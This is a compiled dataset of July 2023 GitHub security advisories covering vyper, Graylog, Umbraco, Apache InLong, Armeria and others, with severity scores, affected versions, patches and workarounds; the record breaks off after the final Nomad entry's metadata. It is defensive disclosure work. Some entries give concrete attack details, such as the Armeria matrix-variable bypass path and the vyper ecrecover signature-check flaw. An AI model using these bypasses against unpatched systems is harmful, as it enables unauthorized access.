aswin1906/github-advisory-2023 huggingface dataset:
ecrecover can return undefined data if signature does not verify (GHSA-f5x6-7qgp-jhf3)
Aliases: CVE-2023-37902
Published: 2023-07-25T17:46:19Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Affected: [{'package': {'ecosystem': 'PyPI', 'name': 'vyper'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '0.3.10'}]}]}]

### Impact
the ecrecover precompile does not fill the output buffer if the signature does not verify, see https://github.com/ethereum/go-ethereum/blob/b058cf454b3bdc7e770e2b3cec83a0bcb48f55ee/core/vm/contracts.go#L188. however, the ecrecover builtin will still return whatever is at memory location 0.

this means that the if the compiler has been convinced to write to the 0 memory location with specially crafted data (generally, this can happen with a hashmap access or immutable read) just before the ecrecover, a signature check might pass on an invalid signature.

A contract search was performed. Most uses of `ecrecover` are used for erc2612-style permit implementations, which typically look like:

```vyper
    assert _owner != empty(address)
    assert block.timestamp <= _deadline
                  
    nonce: uint256 = self.nonces[_owner]
    digest: bytes32 = keccak256(
        concat(   
            b"\x19\x01",
            self.DOMAIN_SEPARATOR,
            keccak256(_abi_encode(PERMIT_TYPEHASH, _owner, _spender, _value, nonce, _deadline))
        )         
    )             
    assert ecrecover(digest, convert(_v, uint256), convert(_r, uint256), convert(_s, uint256)) == _owner
```

in this case, the immutable `PERMIT_TYPEHASH` is loaded into `ecrecover`'s output buffer right before `ecrecover()`, and so the output of `ecrecover()` here when the signature is invalid will be the value of `PERMIT_TYPEHASH`. in this case, since `PERMIT_TYPEHASH` is not a valid address, it will never compare `==` to `_owner`, and so the behaviour is exactly the same as if `ecrecover()` returned 0 in this case.

in general, a contract could have unexpected behavior (i.e. mistakenly pass this style of signature check) if an immutable representing a real address (ex. `OWNER`) was read right before the `ecrecover` operation.

### Patches
v0.3.10 (with 019a37ab98ff53f04fecfadf602b6cd5ac748f7f and #3586)

### Workarounds
_Is there a way for users to fix or remediate the vulnerability without upgrading?_

### References
_Are there any links users can visit to find out more?_
Graylog server has partial path traversal vulnerability in Support Bundle feature (GHSA-2q4p-f6gf-mqr5)
Aliases: CVE-2023-41044
Published: 2023-07-06T20:53:15Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:N
Affected: [{'package': {'ecosystem': 'Maven', 'name': 'org.graylog2:graylog2-server'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '5.1.0'}, {'fixed': '5.1.3'}]}]}]

A partial path traversal vulnerability exists in Graylog's [Support Bundle](https://go2docs.graylog.org/5-1/making_sense_of_your_log_data/cluster_support_bundle.htm) feature. The vulnerability is caused by incorrect user input validation in an HTTP API resource.

Thanks to weiweiwei9811 for reporting this vulnerability and providing detailed information.

### Impact

Graylog's Support Bundle feature allows an attacker with valid Admin role credentials to download or delete files in sibling directories of the support bundle directory.

The default `data_dir` in operating system packages (DEB, RPM) is set to `/var/lib/graylog-server`. The data directory for the Support Bundle feature is always `<data_dir>/support-bundle`.

Due to the partial path traversal vulnerability, an attacker with valid Admin role credentials can read or delete files in directories that start with a `/var/lib/graylog-server/support-bundle` directory name.

The vulnerability would allow the download or deletion of files in the following example directories.

- `/var/lib/graylog-server/support-bundle-test`
- `/var/lib/graylog-server/support-bundlesdirectory`

For the [Graylog](https://hub.docker.com/r/graylog/graylog) and [Graylog Enterprise](https://hub.docker.com/r/graylog/graylog-enterprise) Docker images, the `data_dir` is set to `/usr/share/graylog/data` by default.

### Patches

The vulnerability is fixed in Graylog version 5.1.3 and later.

### Workarounds


Block all HTTP requests to the following HTTP API endpoints by using a reverse proxy server in front of Graylog.

- `GET /api/system/debug/support/bundle/download/{filename}`
- `DELETE /api/system/debug/support/bundle/{filename}`
phpMyFAQ Improper Neutralization of Formula Elements in a CSV File vulnerability (GHSA-2xvx-368h-qcmv)
Aliases: CVE-2023-4006
Published: 2023-07-31T03:30:23Z
Severity: type: CVSS_V3
score: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Affected: [{'package': {'ecosystem': 'Packagist', 'name': 'thorsten/phpmyfaq'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '3.1.16'}]}]}]

Improper Neutralization of Formula Elements in a CSV File in GitHub repository thorsten/phpmyfaq prior to 3.1.16.
zenstruck/collection passing callable string to EntityRepository::find() and query() (GHSA-7xr2-8ff7-6fjq)
Aliases: CVE-2023-37473
Published: 2023-07-14T21:59:13Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H
Affected: [{'package': {'ecosystem': 'Packagist', 'name': 'zenstruck/collection'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '0.2.1'}]}]}]

### Impact
Passing _callable strings_ (ie `system`) caused the function to be executed.

### Patches
Fixed in [v0.2.1](https://github.com/zenstruck/collection/releases/tag/v0.2.1).

### Workarounds
Do not allow passing user strings to `EntityRepository::find()` or `query()`.

### References
[Fix commit](https://github.com/zenstruck/collection/commit/f4b1c488206e1b1581b06fcd331686846f13f19c).
Umbraco allows possible Admin-level access to backoffice without Auth under rare conditions (GHSA-h8wc-r4jh-mg7m)
Aliases: CVE-2023-37267
Published: 2023-07-13T17:02:07Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H
Affected: [{'package': {'ecosystem': 'NuGet', 'name': 'Umbraco.Cms.Infrastructure'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '9.0.0'}, {'fixed': '10.6.1'}]}]}, {'package': {'ecosystem': 'NuGet', 'name': 'Umbraco.Cms.Infrastructure'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '11.0.0'}, {'fixed': '11.4.2'}]}]}, {'package': {'ecosystem': 'NuGet', 'name': 'Umbraco.Cms.Infrastructure'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '12.0.0'}, {'fixed': '12.0.1'}]}], 'versions': ['12.0.0']}, {'package': {'ecosystem': 'NuGet', 'name': 'Umbraco.Cms.Web.BackOffice'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '9.0.0'}, {'fixed': '10.6.1'}]}]}, {'package': {'ecosystem': 'NuGet', 'name': 'Umbraco.Cms.Web.BackOffice'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '11.0.0'}, {'fixed': '11.4.2'}]}]}, {'package': {'ecosystem': 'NuGet', 'name': 'Umbraco.Cms.Web.BackOffice'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '12.0.0'}, {'fixed': '12.0.1'}]}], 'versions': ['12.0.0']}]

Under rare conditions, a restart of Umbraco can allow unauthorized users to gain admin-level permissions.

### Impact
An unauthorized user gaining admin-level access and permissions to the backoffice.

### Patches
10.6.1, 11.4.2, 12.0.1

### Workarounds
* Enabling the [Unattended Install](https://docs.umbraco.com/umbraco-cms/reference/configuration/unattendedsettings) feature will mean the vulnerability is not exploitable.
* Enabling IP restrictions to `*/install/*` and `*/umbraco/*` will limit the exposure to allowed IP addresses.
rabbitmq-connector plugin module in Apache EventMesh platforms allows attackers to send controlled message (GHSA-fj8f-56wc-q36r)
Aliases: CVE-2023-26512
Published: 2023-07-17T09:30:23Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Affected: [{'package': {'ecosystem': 'Maven', 'name': 'org.apache.eventmesh:eventmesh-connector-rabbitmq'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '1.7.0'}, {'last_affected': '1.8.0'}]}]}]

CWE-502 Deserialization of Untrusted Data at the rabbitmq-connector plugin module in Apache EventMesh (incubating) V1.7.0\V1.8.0 on windows\linux\mac os e.g. platforms allows attackers to send controlled message and 

remote code execute via rabbitmq messages. Users can use the code under the master branch in project repo to fix this issue,  the new version is set to be released as soon as possible.
Tokenizer vulnerable to client brute-force of token secrets (GHSA-f28g-86hc-823q)
Published: 2023-07-13T19:56:19Z
Affected: [{'package': {'ecosystem': 'Go', 'name': 'github.com/superfly/tokenizer'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '0.0.1'}]}]}]

### Impact

Authorized clients, having an `inject_processor` secret, could brute-force the secret token value by abusing the `fmt` parameter to the `Proxy-Tokenizer` header.

### Patches

This was fixed in https://github.com/superfly/tokenizer/pull/8 and further mitigated in https://github.com/superfly/tokenizer/pull/9.
Apache InLong Exposure of Resource to Wrong Sphere vulnerability (GHSA-f475-jgg3-3jwc)
Aliases: CVE-2023-31206
Published: 2023-07-06T21:14:59Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
Affected: [{'package': {'ecosystem': 'Maven', 'name': 'org.apache.inlong:manager-pojo'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '1.4.0'}, {'fixed': '1.7.0'}]}]}, {'package': {'ecosystem': 'Maven', 'name': 'org.apache.inlong:manager-dao'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '1.4.0'}, {'fixed': '1.7.0'}]}]}, {'package': {'ecosystem': 'Maven', 'name': 'org.apache.inlong:manager-service'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '1.4.0'}, {'fixed': '1.7.0'}]}]}, {'package': {'ecosystem': 'Maven', 'name': 'org.apache.inlong:manager-test'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '1.4.0'}, {'fixed': '1.7.0'}]}]}, {'package': {'ecosystem': 'Maven', 'name': 'org.apache.inlong:manager-web'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '1.4.0'}, {'fixed': '1.7.0'}]}]}]

Exposure of Resource to Wrong Sphere Vulnerability in Apache Software Foundation Apache InLong. This issue affects Apache InLong from 1.4.0 through 1.6.0. Attackers can change the immutable name and type of nodes of InLong. Users are advised to upgrade to Apache InLong 1.7.0 or cherry-pick https://github.com/apache/inlong/pull/7891 to solve it.
SwiftTerm Code Injection vulnerability (GHSA-jq43-q8mx-r7mq)
Aliases: CVE-2022-23465
Published: 2023-07-14T21:58:43Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N
Affected: [{'package': {'ecosystem': 'purl-type:swift', 'name': 'https://github.com/migueldeicaza/SwiftTerm'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '1.2.0'}]}]}]

### Impact

Attacker could modify the window title via a certain character escape sequence and then insert it back to the command line in the user's terminal, e.g. when the user views a file containing the malicious sequence, which could allow the attacker to execute arbitrary commands.

### Credit
These bugs were found and disclosed by David Leadbeater <dgl@dgl.cx> (@dgl at Github.com)

### Patches

Fixed in version ce596e0dc8cdb288bc7ed5c6a59011ee3a8dc171

### Workarounds

There are no workarounds available

### References

Similar exploits to this existed in the past, for terminal emulators:

https://nvd.nist.gov/vuln/detail/CVE-2003-0063
https://nvd.nist.gov/vuln/detail/CVE-2008-2383

Additional background and information is also available:

https://marc.info/?l=bugtraq&m=104612710031920&w=2
https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=510030
Apache InLong Incorrect Permission Assignment for Critical Resource Vulnerability (GHSA-8rjh-3mhm-966q)
Aliases: CVE-2023-31453
Published: 2023-07-06T21:14:59Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
Affected: [{'package': {'ecosystem': 'Maven', 'name': 'org.apache.inlong:manager-service'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '1.2.0'}, {'fixed': '1.7.0'}]}]}, {'package': {'ecosystem': 'Maven', 'name': 'org.apache.inlong:manager-web'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '1.2.0'}, {'fixed': '1.7.0'}]}]}]

Incorrect Permission Assignment for Critical Resource Vulnerability in Apache Software Foundation Apache InLong.This issue affects Apache InLong: from 1.2.0 through 1.6.0. The attacker can delete others' subscriptions, even if they are not the owner
of the deleted subscription. Users are advised to upgrade to Apache InLong's 1.7.0 or cherry-pick https://github.com/apache/inlong/pull/7949 to solve it.
Paths contain matrix variables bypass decorators (GHSA-wvp2-9ppw-337j)
Aliases: CVE-2023-38493
Published: 2023-07-25T18:24:39Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Affected: [{'package': {'ecosystem': 'Maven', 'name': 'com.linecorp.armeria:armeria'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '1.24.3'}]}], 'database_specific': {'last_known_affected_version_range': '<= 1.24.2'}}]

### Impact
Spring supports [Matrix variables](https://docs.spring.io/spring-framework/reference/web/webmvc/mvc-controller/ann-methods/matrix-variables.html).
When Spring integration is used, Armeria calls Spring controllers via `TomcatService` or `JettyService` with the path
that may contain matrix variables.
In this situation, the Armeria decorators might not invoked because of the matrix variables.
Let's see the following example:
```
// Spring controller
@GetMapping("/important/resources")
public String important() {...}

// Armeria decorator
ServerBuilder sb = ...
sb.decoratorUnder("/important/", authService);
```
If an attacker sends a request with `/important;a=b/resources`, the request would bypass the authrorizer

### Patches
- https://github.com/line/armeria-ghsa-wvp2-9ppw-337j/commit/9b0ec3e099cc05fbff11d7f1012a1dddb0000d0c

### Workarounds
Users can add decorators using regex. `e.g. "regex:^/important.*"`
Secret displayed without masking by Chef Identity Plugin  (GHSA-5jc5-m87x-88fj)
Aliases: CVE-2023-39155
Published: 2023-07-26T15:30:57Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N
Affected: [{'package': {'ecosystem': 'Maven', 'name': 'org.jenkins-ci.plugins:chef-identity'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'last_affected': '2.0.3'}]}]}]

Chef Identity Plugin stores the user.pem key in its global configuration file `io.chef.jenkins.ChefIdentityBuildWrapper.xml` on the Jenkins controller as part of its configuration.

While this key is stored encrypted on disk, in Chef Identity Plugin 2.0.3 and earlier the global configuration form does not mask the user.pem key form field, increasing the potential for attackers to observe and capture it.
rswag vulnerable to arbitrary JSON and YAML file read via directory traversal (GHSA-vc79-65pr-q82v)
Aliases: CVE-2023-38337
Published: 2023-07-15T00:30:34Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Affected: [{'package': {'ecosystem': 'RubyGems', 'name': 'rswag'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '2.10.1'}]}]}]

rswag before 2.10.1 allows remote attackers to read arbitrary JSON and YAML files via directory traversal, because rswag-api can expose a file that is not the OpenAPI (or Swagger) specification file of a project.
goproxy Denial of Service vulnerability (GHSA-4r8x-2p26-976p)
Aliases: CVE-2023-37788
Published: 2023-07-18T21:30:37Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Affected: [{'package': {'ecosystem': 'Go', 'name': 'github.com/elazarl/goproxy'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '0.0.0-20230731152917-f99041a5c027'}]}]}]

goproxy prior to pseudoversion 0.0.0-20230731152917-f99041a5c027 was discovered to contain an issue which can lead to a Denial of service (DoS) via unspecified vectors.
Thymeleaf, as used in Spring Boot Admin, allows sandbox bypass via crafted HTML (GHSA-7gj7-224w-vpr3)
Aliases: CVE-2023-38286
Published: 2023-07-14T06:31:00Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
Affected: [{'package': {'ecosystem': 'Maven', 'name': 'de.codecentric:spring-boot-admin-server'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '3.1.2'}]}]}]

Thymeleaf through 3.1.1.RELEASE, as used in spring-boot-admin (aka Spring Boot Admin) through 3.1.1 and other products, allows sandbox bypass via crafted HTML. This may be relevant for SSTI (Server Side Template Injection) and code execution in spring-boot-admin if MailNotifier is enabled and there is write access to environment variables via the UI.

Spring Boot Admin 3.1.2 contains a [patch](https://github.com/codecentric/spring-boot-admin/pull/2615) for this issue.
Jenkins Benchmark Evaluator Plugin missing permission check (GHSA-5g87-44p9-v4j7)
Aliases: CVE-2023-37963
Published: 2023-07-12T18:30:39Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
Affected: [{'package': {'ecosystem': 'Maven', 'name': 'io.jenkins.plugins:benchmark-evaluator'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'last_affected': '1.0.1'}]}]}]

Jenkins Benchmark Evaluator Plugin 1.0.1 and earlier does not perform a permission check in a method implementing form validation.

This allows attackers with Overall/Read permission to connect to an attacker-specified URL and to check for the existence of directories, `.csv`, and `.ycsb` files on the Jenkins controller file system.

Additionally, this form validation method does not require POST requests, resulting in a cross-site request forgery (CSRF) vulnerability.
Jenkins Sumologic Publisher Plugin vulnerable to cross-site request forgery (GHSA-7jrr-fwhw-762v)
Aliases: CVE-2023-37958
Published: 2023-07-12T18:30:39Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Affected: [{'package': {'ecosystem': 'Maven', 'name': 'org.jenkins-ci.plugins:sumologic-publisher'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'last_affected': '2.2.1'}]}]}]

Jenkins Sumologic Publisher Plugin 2.2.1 and earlier does not perform a permission check in a method implementing form validation.

This allows attackers with Overall/Read permission to connect to an attacker-specified URL.

Additionally, this form validation method does not require POST requests, resulting in a cross-site request forgery (CSRF) vulnerability.
Access Control Bypass in Spring Security (GHSA-3h6f-g5f3-gc4w)
Aliases: CVE-2023-34034
Published: 2023-07-19T15:30:26Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Affected: [{'package': {'ecosystem': 'Maven', 'name': 'org.springframework.security:spring-security-config'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '5.6.0'}, {'fixed': '5.6.12'}]}]}, {'package': {'ecosystem': 'Maven', 'name': 'org.springframework.security:spring-security-config'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '5.7.0'}, {'fixed': '5.7.10'}]}]}, {'package': {'ecosystem': 'Maven', 'name': 'org.springframework.security:spring-security-config'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '5.8.0'}, {'fixed': '5.8.5'}]}]}, {'package': {'ecosystem': 'Maven', 'name': 'org.springframework.security:spring-security-config'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '6.0.0'}, {'fixed': '6.0.5'}]}]}, {'package': {'ecosystem': 'Maven', 'name': 'org.springframework.security:spring-security-config'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '6.1.0'}, {'fixed': '6.1.2'}]}]}]

Using "**" as a pattern in Spring Security configuration for WebFlux creates a mismatch in pattern matching between Spring Security and Spring WebFlux, and the potential for a security bypass.
Apache Superset Server-Side Request Forgery vulnerability (GHSA-fxjg-28fm-pfxh)
Aliases: CVE-2023-25504
Published: 2023-07-06T19:24:15Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Affected: [{'package': {'ecosystem': 'PyPI', 'name': 'apache-superset'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '2.1.0'}]}]}]

A malicious actor who has been authenticated and granted specific permissions in Apache Superset may use the import dataset feature in order to conduct Server-Side Request Forgery attacks and query internal resources on behalf of the server where Superset is deployed. This vulnerability exists in Apache Superset versions up to and including 2.0.1.
Apache MINA SSHD information disclosure vulnerability (GHSA-mjmq-gwgm-5qhm)
Aliases: CVE-2023-35887
Published: 2023-07-10T18:30:49Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N
Affected: [{'package': {'ecosystem': 'Maven', 'name': 'org.apache.sshd:sshd-common'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.1.0'}, {'fixed': '2.10.0'}]}]}, {'package': {'ecosystem': 'Maven', 'name': 'org.apache.sshd:sshd-sftp'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '1.0.0'}, {'fixed': '2.10.0'}]}]}, {'package': {'ecosystem': 'Maven', 'name': 'org.apache.sshd:sshd-core'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '1.0.0'}, {'fixed': '2.10.0'}]}], 'database_specific': {'last_known_affected_version_range': '< 2.1.0'}}]

Exposure of Sensitive Information to an Unauthorized Actor vulnerability in Apache Software Foundation Apache MINA.

In SFTP servers implemented using Apache MINA SSHD that use a RootedFileSystem, logged users may be able to discover "exists/does not exist" information about items outside the rooted tree via paths including parent navigation ("..") beyond the root, or involving symlinks.

This issue affects Apache MINA: from 1.0 before 2.10. Users are recommended to upgrade to 2.10

Until version 2.1.0, some of the code affected by this vulnerability appeared in org.apache.sshd:sshd-core. Version 2.1.0 contains a [commit](https://github.com/apache/mina-sshd/commit/10de190e7d3f9189deb76b8d08c72334a1fe2df0) where the code was moved to the package org.apache.sshd:sshd-common, which did not exist until version 2.1.0.
Possible image tampering from missing image validation for Packages (GHSA-pj4x-2xr5-w87m)
Aliases: CVE-2023-38495
Published: 2023-07-28T15:33:38Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H
Affected: [{'package': {'ecosystem': 'Go', 'name': 'github.com/crossplane/crossplane'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '1.11.5'}]}]}, {'package': {'ecosystem': 'Go', 'name': 'github.com/crossplane/crossplane'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '1.12.0'}, {'fixed': '1.12.3'}]}]}]

### Impact

Crossplanes image backend does not validate the byte contents of Crossplane packages. As such, Crossplane does not detect if an attacker has tampered with a Package.

### Patches

The problem has been fixed in 1.11.5, 1.12.3 and 1.13.0, all the supported versions of Crossplane at the time of writing.

### Workarounds

Only using images from trusted sources and keeping Package editing/creating privileges to administrators only, which should be both considered already best practices.

### References

See `ADA-XP-23-11` in the Security Audit's [report](https://github.com/crossplane/crossplane/blob/ac8b24fe739c5d942ea885157148497f196c3dd3/security/ADA-security-audit-23.pdf).

### Credits

This was reported as `ADA-XP-23-11` by @AdamKorcz and @DavidKorczynski from Ada Logic and facilitated by OSTIF as part of the Security Audit sponsored by CNCF.
Jenkins Active Directory Plugin vulnerable to Active Directory credential disclosure (GHSA-g8c3-6fj2-87w7)
Aliases: CVE-2023-37943
Published: 2023-07-12T18:30:38Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
Affected: [{'package': {'ecosystem': 'Maven', 'name': 'org.jenkins-ci.plugins:active-directory'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '2.30.1'}]}]}]

Jenkins Active Directory Plugin allows testing a new, unsaved configuration by performing a connection test (the button labeled "Test Domain").

Active Directory Plugin 2.30 and earlier ignores the "Require TLS" and "StartTls" options and always performs the connection test to Active directory unencrypted. This allows attackers able to capture network traffic between the Jenkins controller and Active Directory servers to obtain Active Directory credentials.

This only affects the connection test. Connections established during the login process are encrypted if the corresponding TLS option is enabled.

Active Directory Plugin 2.30.1 considers the "Require TLS" and "StartTls" options for connection tests.
Decidim Cross-site Scripting vulnerability in the processes filter (GHSA-5652-92r9-3fx9)
Aliases: CVE-2023-34089
Published: 2023-07-11T22:46:57Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
Affected: [{'package': {'ecosystem': 'RubyGems', 'name': 'decidim'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0.14.0'}, {'fixed': '0.26.7'}]}]}, {'package': {'ecosystem': 'RubyGems', 'name': 'decidim'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0.27.0'}, {'fixed': '0.27.3'}]}]}, {'package': {'ecosystem': 'RubyGems', 'name': 'decidim-core'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0.14.0'}, {'fixed': '0.26.7'}]}]}, {'package': {'ecosystem': 'RubyGems', 'name': 'decidim-core'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0.27.0'}, {'fixed': '0.27.3'}]}]}]

### Impact

The processes filter feature is susceptible to Cross-site scripting. This allows a remote attacker to execute JavaScript code in the context of a currently logged-in user. An attacker could use this vulnerability to make other users endorse or support proposals they have no intention of supporting or endorsing.

### Patches

The problem was patched in [v0.27.3](https://github.com/decidim/decidim/releases/tag/v0.27.3) and [v0.26.7](https://github.com/decidim/decidim/releases/tag/v0.26.7)
tarteaucitron.js vulnerable to Cross-site Scripting (GHSA-f44m-65h3-99vc)
Aliases: CVE-2023-3620
Published: 2023-07-11T15:31:18Z
Severity: type: CVSS_V3
score: CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N
Affected: [{'package': {'ecosystem': 'npm', 'name': 'tarteaucitronjs'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '1.13.1'}]}]}]

Cross-site Scripting (XSS) - Stored in GitHub repository amauric/tarteaucitron.js prior to v1.13.1.
Path traversal and code execution via prototype vulnerability (GHSA-vh2g-6c4x-5hmp)
Aliases: CVE-2023-26045
Published: 2023-07-25T13:54:13Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Affected: [{'package': {'ecosystem': 'npm', 'name': 'nodebb'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.5.0'}, {'fixed': '2.8.7'}]}]}]

### Impact
Due to the use of the [object destructuring assignment](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment) syntax in the user export code path, combined with a path traversal vulnerability, a specially crafted payload could invoke the user export logic to arbitrarily execute javascript files on the local disk.

### Patches
Patched in v2.8.7

### Workarounds
Site maintainers can cherry pick ec58700f6dff8e5b4af1544f6205ec362b593092 into their codebase to patch the exploit.
Apache Ambari Expression Language Injection vulnerability (GHSA-m384-pj54-5vr2)
Aliases: CVE-2022-42009
Published: 2023-07-12T12:31:35Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Affected: [{'package': {'ecosystem': 'Maven', 'name': 'org.apache.ambari:ambari'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.7.0'}, {'fixed': '2.7.7'}]}]}]

SpringEL injection in the server agent in Apache Ambari version 2.7.0 to 2.7.6 allows a malicious authenticated user to execute arbitrary code remotely. Users are recommended to upgrade to 2.7.7.
Apache InLong has Files or Directories Accessible to External Parties in Apache InLong (GHSA-wx79-r3q8-fq9h)
Aliases: CVE-2023-31066
Published: 2023-07-06T21:14:59Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
Affected: [{'package': {'ecosystem': 'Maven', 'name': 'org.apache.inlong:manager-service'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '1.4.0'}, {'fixed': '1.7.0'}]}]}, {'package': {'ecosystem': 'Maven', 'name': 'org.apache.inlong:manager-web'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '1.4.0'}, {'fixed': '1.7.0'}]}]}]

Files or Directories Accessible to External Parties vulnerability in Apache Software Foundation Apache InLong. This issue affects Apache InLong: from 1.4.0 through 1.6.0. Different users in InLong could delete, edit, stop, and start others' sources. Users are advised to upgrade to Apache InLong's 1.7.0 or cherry-pick https://github.com/apache/inlong/pull/7775 to solve it.
Hashicorp Nomad ACLs Cannot Deny Access to Workload’s Own Variables (GHSA-hhvx-8755-4cvw)
Aliases: CVE-2023-1296
Published: 2023-07-06T19:24:11Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Affected: [{'package': {'ecosystem': 'Go', 'name': 'github.com/hashicorp/nomad'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '1.4.0'}, {'fixed': '1.4.6'}]}]}, {'package': {'ecosystem': 'Go', 'name': 'github.com/hashicorp/nomad'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '1.5.0'}, {'fixed': '1.5.1'}]}], 'versions': ['1.5.0']}]

